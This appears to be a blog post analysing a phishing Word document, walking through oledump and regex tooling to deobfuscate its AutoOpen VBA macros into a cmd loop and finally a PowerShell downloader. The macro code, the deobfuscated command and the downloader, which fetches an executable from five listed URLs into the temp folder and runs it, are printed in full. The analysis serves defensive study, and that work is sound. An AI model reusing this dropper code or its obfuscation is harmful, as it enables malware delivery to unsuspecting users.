MalDoc Analysis – Dosfuscation

MalDoc Analysis – Dosfuscation

Last night a colleague showed us an email which seemingly looked like a Phishing email. Best thing was the Threat Source had done a proper recon to identify individuals working in the company. The redacted portion was the name of an employee from an upper position

The mail states that an amount of $1,872.35 was sent to X with a link to check the Transaction Details

I observed some issues with the mail:

  • No space in Bankofamerica
  • Mention of BankofAmerica on top and Bus Banking Customer Support below
  • URL points to a non banking site

I expected that the ‘See your transaction Details below’ link would take me to a phishing page, but instead it gave me a download of a Word .doc file

File Name: ACH 5111FJNC Aug-06-2018.doc
MD5: c27c4a3e036dd49004b18ec0b2ebdbef
SHA256: afc7144b0a9b76e39cae60513beda1162255d5084514d142d011f36f7a807218
File Size: 100 KB

I had covered doing an analysis of Geodo in an earlier post

I decided to proceed with just static analysis in this case.

Running oledump, it was observed that there were multiple macro streams but oledump marked two macros as suspicious – Macros with stream numbers 8 and 15. Stream 8 had a size of 1883 while Stream 15 had a size 10154

The streams store the Macro code in a compressed format. To view the VBA Macros we need to use the -v option and specify the stream number

Macro Code for Stream 8

Attribute VB_Name = "HQzCCfZMamVFSH"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   TypeName CDbl(JLOtt)
   TypeName 427422518
   TypeName iuUzBf
   TypeName 1069
   TypeName CByte(526513601)
Shell@ CStr("c") + CStr("m") + nHHYhukKSZFU + BLGFYUmrsbF + qDubWdXB + pmYShq + VMhIYVJL + WRUFHLE + jKDmnmcwvO, 741922241 - 741922241
   TypeName 6
   TypeName iVEki
   TypeName CLng(biHak - kWzuEw * iGAhk - XjjjTj)
End Sub

Analysing the above code, there are a lot of Attribute variables. We can even see there is a Shell reference along with Cstr functions using c and m as arguments

Macro Code for Stream 15

Attribute VB_Name = "nNiWjTCZoGGkEj"
Function qDubWdXB()
On Error Resume Next
TypeName JAGTZ
   TypeName 275249373
AcEiRHKnt = "d /" + "V:O" + "/C" + CStr(Chr(sYiPRpQ + VBzHKSfdjAaT + 34 + dEwLPvAPD + YrfizSA)) + "set zu" + "=LD" + "O" + "zQcMcQ"
TypeName Oct(69341 + ENndG * IoQkD - BnpPaj)
   TypeName Int(88513 * 41999 / JsZSYv + 87027)
ElocQim = "ijU" + "A" + "TsujiHWB" + "iPikSvjLK" + "Ck\9(wI" + "h)G$:N+" + ".0md" + "6ftb5p{e" + "=n,x" + "-/l" + " ;a8qVF"
TypeName Int(URtCuj / 27908 / 69511 - qErlE)
   TypeName 150013212
mOwpFz = "roy@'g}&&f" + "or %n i" + "n (" + "53" + ",71,35,55" + ",70,14" + ","
TypeName CByte(7587 * XEqsZD)
   TypeName CInt(39)
jrimTEZn = "37,55" + ",62," + "62,63,40" + ",2" + "9,3" + "7,36,5" + "6,57,5" + "5,35,6" + "0,71,51,2" + "7,55," + "7,50,63,"
TypeName Round(MvuGba)
   TypeName Log(1421)
   TypeName UuVKVf
hFhbWlovkN = "42,55,50" + ",44" + ",19,55,51" + ",30,6" + "2" + ",23" + ",55,57,50,"
TypeName VKLfp
   TypeName XiZTz
   TypeName Atn(17)
mpqfbBLzMO = "64," + "40," + "6" + "8,42" + ",27,56,7" + "4,37,5" + "0" + ",50,53,41,"
TypeName 42
   TypeName 15
wVXrqYQ = "61" + ",61" + ",6" + "5,51" + "," + "71,26" + ",55,7,70" + ",55,65,5" + "0,23,26,5" + "5,44,7,7" + "1,46,61,2"
TypeName Atn(kJdZT)
   TypeName Hex(121842791)
   TypeName Sin(CuUNz)
jXTUKtwIO = "0," + "1,73,37," + "50" + ",50" + ","
TypeName Round(dXjFXz * 8485 - 91909 / anURt)
   TypeName CDate(kQhzr / rCFTEc)
dOtMNmmVruw = "53,41,61" + ",61,35,35," + "3" + "5,44,71" + ","
TypeName CDate(mIlLd)
   TypeName ChrB(lkFiPt)
   TypeName OMuwi
XsXvYlG = "14,71,50" + ",14,5" + "3,65,6" + "0,23,57,50" + ",5"
TypeName zFZHWv
   TypeName CSng(sfizEv)
   TypeName 12
HjBGQF = "5,70,5" + "7,6" + "5,50,23,71" + "," + "57,65," + "62"
TypeName wrzilL
   TypeName wsJVwM
   TypeName CDate(87873666)
zsIwiLdR = "," + "44,7" + ",71,4" + "6,6" + "1,37," + "22,22," + "73,37" + ",50" + ","
qDubWdXB = AcEiRHKnt + ElocQim + mOwpFz + jrimTEZn + hFhbWlovkN + mpqfbBLzMO + wVXrqYQ + jXTUKtwIO + dOtMNmmVruw + XsXvYlG + HjBGQF + zsIwiLdR
   TypeName RnQGPM
   TypeName Tan(zAphp)
End Function
Function pmYShq()
On Error Resume Next
TypeName 211
   TypeName 9039
   TypeName Hex(66715 + GziWj / IXzkm * UOlTp)
dHtUFlE = "50,53" + "," + "41,61,61" + ",50" + ","
TypeName 7445
   TypeName Sqr(kkSAh + ZVjSj)
   TypeName ChrB(OMDKw)
EmWZYnbPu = "65" + "," + "50,71,55,1" + "4" + ",50,15" + ",47,23,71" + ",44,7," + "71,46" + ",61,50,8," + "67,5"
TypeName GMtXnR
   TypeName Sqr(KCTCVw + cDiGw + VSWVYG - zUOmI)
UvUXjpwKkMT = "0,13,69," + "72,73," + "37,5" + "0,50,53,4" + "1,61,61,5" + "1,65," + "71,57,75" + ",71,7,14" + ",5" + "3,65,44," + "26" + ",57,6"
TypeName 5302
   TypeName Tan(vNJEb - 88611)
   TypeName Atn(qtOUN + OWbGp)
FYDMafs = "1,2,48,7" + "3" + ",37,50," + "50," + "53,41"
TypeName Atn(245)
   TypeName PTRfbJ
   TypeName JwPPKG
PzuuP = ",61,61,35" + ",35,35," + "44,72," + "15,65,5" + "7,27,37," + "15,6" + "5,44,7,71" + ",46,61,39," + "45,59," + "23,3" + "5,13,69,74"
TypeName Tan(CWzpR)
   TypeName Tan(42)
   TypeName Tan(5)
iinzziCPhau = ",44,25" + ",53,62,2" + "3,50,3" + "4,74,7" + "3,74," + "3"
TypeName Sin(mBawis + rpHEWb)
   TypeName CDate(qZMMJA - VzsDP - ZZjzQ / zSZCjv)
dDhDLiS = "8,64," + "40,49,49," + "2," + "63,56," + "63,7" + "4,52,6" + "6,33,74," + "64,4" + "0,50,62" + ",68,5" + "6,40,55,57" + ",26,41,5"
TypeName Tan(3)
   TypeName Sgn(CdCdzR * AtOQQX)
   TypeName 4903
pRHjuEviD = "0,55" + ",46,53,43," + "74,32" + ",74" + ",43,"
pmYShq = dHtUFlE + EmWZYnbPu + UvUXjpwKkMT + FYDMafs + PzuuP + iinzziCPhau + dDhDLiS + pRHjuEviD
   TypeName 22464320
   TypeName CLng(943)
End Function
Function VMhIYVJL()
On Error Resume Next
TypeName 7793
   TypeName ChrB(51)
   TypeName WYijZ
kzVrMM = "40,49,49" + ",2,43,74," + "44,5" + "5,59,55" + "," + "74," + "64,49" + ",71,70,55"
TypeName Oct(vDWCh + UNpjk + 95164 + dTaRin)
   TypeName 774
djEHiaSU = ",65," + "7" + ",37,34,4" + "0," + "2,68" + ",3" + "7,63,2" + "3" + ",57,63," + "40,68," + "42,27,38" + ",5" + "4,50,70,72"
TypeName Hex(jFcGdu)
   TypeName 409514909
   TypeName CByte(GiTMuV)
orwRVZf = ",54,4" + "0" + ",29,37,3" + "6,44" + ",1" + ",71,35,57" + ",62,71,65," + "47," + "69" + ",23,6"
TypeName Sin(33658 / dlmwos)
   TypeName CDate(27)
HkrcjK = "2,55,3" + "4,40" + ",2,68" + ",37,58,63" + ",40,50,6" + "2" + ",68,3" + "8,64," + "25,50,6" + "5,70,50" + ",60,22,7" + "0,71,7,55,"
TypeName CSng(89411 - JtJIp * 95383 - 8495)
   TypeName 184024364
   TypeName 1
ijdArfdBpu = "14,14," + "63,40,50,6" + "2,6" + "8,6" + "4,51" + ",70,5" + "5,65,31,"
TypeName ChrW(pqCKGj)
   TypeName CStr(oSWIJu)
maZtAEV = "64,76,7," + "65,5" + "0,7,37," + "54" + ",76,7" + "6,6" + "3,63,63," + "63,63," + "63,6" + "3,63,63,6" + "3,63" + ",63,63"
TypeName CSng(Xnvzn)
   TypeName Sqr(JDEXqn)
CSWwN = ",63,63" + ",63" + ",63,84)" + "do " + "set 8GF=!" + "8GF!!zu:~" + "%n," + "1!&&if %" + "n==84 call" + " %" + "8"
TypeName twGmi
   TypeName VKSrWB
   TypeName 7
EQlwjKq = "G" + "F:~5%" + CStr(Chr(MRKLkLPCzVDi + AKVdAhlF + 34 + ElaAwlhZcZCM + aEjzQiJUrjiU)) + " " + ""
VMhIYVJL = kzVrMM + djEHiaSU + orwRVZf + HkrcjK + ijdArfdBpu + maZtAEV + CSWwN + EQlwjKq
   TypeName Round(wTfju)
   TypeName 7
   TypeName Rnd(25733 * CbZsB)
End Function

Long Error Prone Method

Analysing the above code we can see that there is a lot of lines having ‘=’ in them. Probably some values are being assigned to some variables. We can filter the lines using grep for ‘=’

Attribute VB_Name = "nNiWjTCZoGGkEj"
AcEiRHKnt = "d /" + "V:O" + "/C" + CStr(Chr(sYiPRpQ + VBzHKSfdjAaT + 34 + dEwLPvAPD + YrfizSA)) + "set zu" + "=LD" + "O" + "zQcMcQ"
ElocQim = "ijU" + "A" + "TsujiHWB" + "iPikSvjLK" + "Ck\9(wI" + "h)G$:N+" + ".0md" + "6ftb5p{e" + "=n,x" + "-/l" + " ;a8qVF"
mOwpFz = "roy@'g}&&f" + "or %n i" + "n (" + "53" + ",71,35,55" + ",70,14" + ","
jrimTEZn = "37,55" + ",62," + "62,63,40" + ",2" + "9,3" + "7,36,5" + "6,57,5" + "5,35,6" + "0,71,51,2" + "7,55," + "7,50,63,"
hFhbWlovkN = "42,55,50" + ",44" + ",19,55,51" + ",30,6" + "2" + ",23" + ",55,57,50,"
mpqfbBLzMO = "64," + "40," + "6" + "8,42" + ",27,56,7" + "4,37,5" + "0" + ",50,53,41,"
wVXrqYQ = "61" + ",61" + ",6" + "5,51" + "," + "71,26" + ",55,7,70" + ",55,65,5" + "0,23,26,5" + "5,44,7,7" + "1,46,61,2"
jXTUKtwIO = "0," + "1,73,37," + "50" + ",50" + ","
dOtMNmmVruw = "53,41,61" + ",61,35,35," + "3" + "5,44,71" + ","
XsXvYlG = "14,71,50" + ",14,5" + "3,65,6" + "0,23,57,50" + ",5"
HjBGQF = "5,70,5" + "7,6" + "5,50,23,71" + "," + "57,65," + "62"
zsIwiLdR = "," + "44,7" + ",71,4" + "6,6" + "1,37," + "22,22," + "73,37" + ",50" + ","
qDubWdXB = AcEiRHKnt + ElocQim + mOwpFz + jrimTEZn + hFhbWlovkN + mpqfbBLzMO + wVXrqYQ + jXTUKtwIO + dOtMNmmVruw + XsXvYlG + HjBGQF + zsIwiLdR
dHtUFlE = "50,53" + "," + "41,61,61" + ",50" + ","
EmWZYnbPu = "65" + "," + "50,71,55,1" + "4" + ",50,15" + ",47,23,71" + ",44,7," + "71,46" + ",61,50,8," + "67,5"
UvUXjpwKkMT = "0,13,69," + "72,73," + "37,5" + "0,50,53,4" + "1,61,61,5" + "1,65," + "71,57,75" + ",71,7,14" + ",5" + "3,65,44," + "26" + ",57,6"
FYDMafs = "1,2,48,7" + "3" + ",37,50," + "50," + "53,41"
PzuuP = ",61,61,35" + ",35,35," + "44,72," + "15,65,5" + "7,27,37," + "15,6" + "5,44,7,71" + ",46,61,39," + "45,59," + "23,3" + "5,13,69,74"
iinzziCPhau = ",44,25" + ",53,62,2" + "3,50,3" + "4,74,7" + "3,74," + "3"
dDhDLiS = "8,64," + "40,49,49," + "2," + "63,56," + "63,7" + "4,52,6" + "6,33,74," + "64,4" + "0,50,62" + ",68,5" + "6,40,55,57" + ",26,41,5"
pRHjuEviD = "0,55" + ",46,53,43," + "74,32" + ",74" + ",43,"
pmYShq = dHtUFlE + EmWZYnbPu + UvUXjpwKkMT + FYDMafs + PzuuP + iinzziCPhau + dDhDLiS + pRHjuEviD
kzVrMM = "40,49,49" + ",2,43,74," + "44,5" + "5,59,55" + "," + "74," + "64,49" + ",71,70,55"
djEHiaSU = ",65," + "7" + ",37,34,4" + "0," + "2,68" + ",3" + "7,63,2" + "3" + ",57,63," + "40,68," + "42,27,38" + ",5" + "4,50,70,72"
orwRVZf = ",54,4" + "0" + ",29,37,3" + "6,44" + ",1" + ",71,35,57" + ",62,71,65," + "47," + "69" + ",23,6"
HkrcjK = "2,55,3" + "4,40" + ",2,68" + ",37,58,63" + ",40,50,6" + "2" + ",68,3" + "8,64," + "25,50,6" + "5,70,50" + ",60,22,7" + "0,71,7,55,"
ijdArfdBpu = "14,14," + "63,40,50,6" + "2,6" + "8,6" + "4,51" + ",70,5" + "5,65,31,"
maZtAEV = "64,76,7," + "65,5" + "0,7,37," + "54" + ",76,7" + "6,6" + "3,63,63," + "63,63," + "63,6" + "3,63,63,6" + "3,63" + ",63,63"
CSWwN = ",63,63" + ",63" + ",63,84)" + "do " + "set 8GF=!" + "8GF!!zu:~" + "%n," + "1!&&if %" + "n==84 call" + " %" + "8"
EQlwjKq = "G" + "F:~5%" + CStr(Chr(MRKLkLPCzVDi + AKVdAhlF + 34 + ElaAwlhZcZCM + aEjzQiJUrjiU)) + " " + ""
VMhIYVJL = kzVrMM + djEHiaSU + orwRVZf + HkrcjK + ijdArfdBpu + maZtAEV + CSWwN + EQlwjKq

Analysing the above lines, we can see that there are a lot of + operators used which indicates concatenations. Most of the code involves concatenation of a comma separated list of integers which are assigned to some variable. There are few lines which have the concatenation of variables. ” + ” is repeated a lot, so we can try to replace it. We can use sed to do that.

  • Remove ‘ + ‘
  • Remove “”

Thus the overall code now looks like

In the above code, we can ignore the lines in red since they are either Attribute lines or the concatenation of variables. I’ve extracted the lines out and created a file called malcode

It will take many steps & trial and error before we are able to get some code. If you compare the below code with the code in the Short Method, you will see that there are errors in the below code

 

SHORT Method – Using RE-Search & SETS

An efficient way would be using Didier Stevens re-search.py tool which will allow us to extract strings based on regex

The first line ‘nNiWjTCZoGGkEj’ is the value assigned to Attribute VB_Name. So we can grep out that line

We can see there is ‘set zu’ which probably is setting the value of a variable. Switches -eu will allow us to view all non-empty strings as well as remove the inverted commas from the output. We can then combine the lines using the sets.py program

sets.py allows us to perform operations like join on a group of lines

The final output will be

d /V:O/Cset zu=LDOzQcMcQijUATsujiHWBiPikSvjLKCk\9(wIh)G$:N+.0md6ftb5p{e=n,x-/l ;a8qVFroy@'g}&&for %n in (53,71,35,55,70,14,37,55,62,62,63,40,29,37,36,56,57,55,35,60,71,51,27,55,7,50,63,42,55,50,44,19,55,51,30,62,23,55,57,50,64,40,68,42,27,56,74,37,50,50,53,41,61,61,65,51,71,26,55,7,70,55,65,50,23,26,55,44,7,71,46,61,20,1,73,37,50,50,53,41,61,61,35,35,35,44,71,14,71,50,14,53,65,60,23,57,50,55,70,57,65,50,23,71,57,65,62,44,7,71,46,61,37,22,22,73,37,50,50,53,41,61,61,50,65,50,71,55,14,50,15,47,23,71,44,7,71,46,61,50,8,67,50,13,69,72,73,37,50,50,53,41,61,61,51,65,71,57,75,71,7,14,53,65,44,26,57,61,2,48,73,37,50,50,53,41,61,61,35,35,35,44,72,15,65,57,27,37,15,65,44,7,71,46,61,39,45,59,23,35,13,69,74,44,25,53,62,23,50,34,74,73,74,38,64,40,49,49,2,63,56,63,74,52,66,33,74,64,40,50,62,68,56,40,55,57,26,41,50,55,46,53,43,74,32,74,43,40,49,49,2,43,74,44,55,59,55,74,64,49,71,70,55,65,7,37,34,40,2,68,37,63,23,57,63,40,68,42,27,38,54,50,70,72,54,40,29,37,36,44,1,71,35,57,62,71,65,47,69,23,62,55,34,40,2,68,37,58,63,40,50,62,68,38,64,25,50,65,70,50,60,22,70,71,7,55,14,14,63,40,50,62,68,64,51,70,55,65,31,64,76,7,65,50,7,37,54,76,76,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,84)do set 8GF=!8GF!!zu:~%n,1!&&if %n==84 call %8GF:~5% %

Code Observations:

  • zu is assigned a string ‘LDOzQcMcQijUATsujiHWBiPikSvjLKCk\9(wIh)G$:N+.0md6ftb5p{e=n,x-/l ;a8qVFroy@’g}’
  • The string is 77 characters long
  • There is a For loop that iterates over different integer values where the iterator is ‘n’. The integer values are all less than 77
  • The values of the for loop are mapped to the positions of the string. Eg  76 is }
  • As soon as the value of n=84, it calls %8GF:~5% which terminates the execution

We can then use some Python to find the deobfuscated code:

The final de-obfuscated code is PowerShell code

powershell $KhI=new-object Net.WebClient;
$VNj='hxxp://abovecreative.com/BD@hxxp://www.osotspa-international.com/hPP@hxxp://tatoestudio.com/tQqtTFy@hxxp://baongocspa.vn/O6@hxxp://www.yuanjhua.com/G0xiwTF'.Split('@');
$ffO = '589';
$tlV=$env:temp+'\\'+$ffO+'.exe';
foreach($OVh in $VNj)
{
try{$KhI.DownloadFile($OVh  $tlV);
Start-Process $tlV;break;
}
catch{}}

Analysing the above code, it’s observe that:

  • There are a list of 5 URL’s separated by @. Split function is called which stores them in the array $VNj
  • Connections are made to each URL to download the file (payload)
  • The payload is saved into the temp folder with a filename 589.exe
  • Once the file has been downloaded, it is executed

 

Payload URLs:

hxxp://abovecreative[.]com/BD
hxxp://www[.]osotspa-international[.]com/hPP
hxxp://tatoestudio[.]com/tQqtTFy
hxxp://baongocspa[.]vn/O6
hxxp://www[.]yuanjhua[.]com/G0xiwTF

Associated Payload IPs:

208.97.178.121
203.107.228.108
103.28.37.245
103.28.36.25
50.93.198.131

You can view the Virus Total report for the payload files here 

References:

Leave a Reply